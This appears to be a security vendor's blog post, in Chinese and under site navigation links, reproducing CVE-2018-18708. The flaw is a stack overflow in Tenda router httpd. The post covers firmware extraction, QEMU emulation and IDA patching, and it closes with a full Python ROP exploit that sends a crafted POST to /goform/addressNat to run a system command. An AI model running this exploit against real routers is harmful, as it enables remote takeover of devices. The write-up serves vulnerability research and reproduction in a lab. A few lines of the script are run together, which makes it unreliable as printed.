数字医学与健康大会DMHC——美创与您相约古都金陵
2025-08-12
美创科技打造县域医疗灾备新标杆|神木市医院 HIS 系统数据库分钟级切换演练实录
2025-07-02
百万罚单警示!DCAS助力金融机构筑牢数据安全防线,实现监管合规
2025-06-20
2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布
2025-02-07
美创用户专访 | 精细化管理:医疗行业数据分类分级的策略与实践
2025-01-10
存储域
数据库加密 诺亚防勒索访问域
数据库防水坝 数据库防火墙 数据库安全审计 动态脱敏流动域
静态脱敏 数据水印 API审计 API防控 医疗防统方运维服务
数据库运维服务 中间件运维服务 国产信创改造服务 驻场运维服务 供数服务安全咨询服务
数据出境安全治理服务 数据安全能力评估认证服务 数据安全风险评估服务 数据安全治理咨询服务 数据分类分级咨询服务 个人信息风险评估服务 数据安全检查服务CVE-2018-18708,多款Tenda产品中的httpd存在缓冲区溢出漏洞,在处理 post 请求的函数“fromAddressNat”的“page”参数时,该值直接在 sprintf 中用于放置在堆栈上的局部变量,这会覆盖函数的返回地址,从而导致了缓冲区溢出漏洞。
以下产品和版本受到影响:Tenda AC7 V15.03.06.44_CN版本;AC9 V15.03.05.19(6318)_CN版本;AC10 V15.03.06.23_CN版本;AC15 V15.03.05.19_CN版本;AC18 V15.03.05.19(6318)_CN版本。
https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip
binwalk -Me US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin --run-as=root
解压后在_US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin.extracted/目录下存在squashfs-root文件系统
安装qemu-user-static
sudo apt install qemu-user-static
接下来利用quem来调试
cp $(which qemu-arm-static) ./
sudo chroot . ./qemu-arm-static ./bin/httpd
此时会发现会一直卡在启动界面
将/bin/httpd文件拖进IDA中,使用alt+t组合键搜索“WeLoveLinux”关键字。如下图所示,此处存在存在的check_network、ConnectCfm会进行网络连接确认,需要对这两个方法的返回值进行patch才能绕过此处的判断逻辑,否则将一直卡在启动界面。
使用IDA插件keypatch进行patch
https://github.com/keystone-engine/keypatch
https://github.com/polymorf/findcrypt-yara
pip install keystone-engine
pip install six
pip install yara-python
需将keypatch.py、findcrypt3.py、 findcrypt3.rules三个文件拷贝到IDA的plugin目录
重启IDA后,右键可以看到keypatch插件
接下来通过Keypatch->Patcher将check_network、ConnectCfm的MOV R3, R0都修改为MOV R3, #1
点击Edit->Patch->Apply patches to input file,即可让上面的patch生效。再将patch后的httpd文件替换掉原本的/bin/httpd文件,并赋予文件执行权限。
继续利用quem来调试
sudo chroot . ./qemu-arm-static ./bin/httpd
发现IP地址不对
建立一个虚拟网桥br0
brctl addbr br0ifconfig br0 192.168.1.1/24
拷贝web程序所需文件到/webroot/目录
cp -rf ./webroot_ro/* ./webroot/
再次调试
chroot . ./qemu-arm-static ./bin/httpd
访问http://192.168.1.1,成功搭建漏洞环境
漏洞EXP如下:
import socket
import os
from pwn import *
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
ip = '192.168.1.1'
port = 80
r = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
li('[+] connecting')
r.connect((ip, port))
li('[+] connect finish')
rn = b'\r\n'
libc_base = 0x3fd9c000
system_addr = 0x005a270 + libc_base
pop_r3_pc = 0x00018298 + libc_base
mov_r0_sp_blx_r3 = 0x00040cb8 + libc_base
p1 = b'a' * 244 + b'a' * 4 +p32(pop_r3_pc) + p32(system_addr) +p32(mov_r0_sp_blx_r3) + b'id'
p2 = b'page=' + p1
p3 = b"POST /goform/addressNat" + b" HTTP/1.1" + rn
p3 += b"Host: 192.168.0.1" + rn
p3 += b"User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0" + rn
p3 += b"Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + rn
p3 += b"Accept-Language: en-US,en;q=0.5" + rn
p3 += b"Accept-Encoding: gzip, deflate" + rn
p3 += b"Cookie: password=hum1qw" + rnp3 += b"Connection: close" + rn
p3 += b"Upgrade-Insecure-Requests: 1" + rn
p3 += (b"Content-Length: %d" % len(p2)) +rn
p3 += b'Content-Type: application/x-www-form-urlencoded'+rnp3 += rn
p3 += p2
li('[+] sendling payload')
r.send(p3)
response = r.recv(4096)
response = response.decode()
li(response)
执行EXP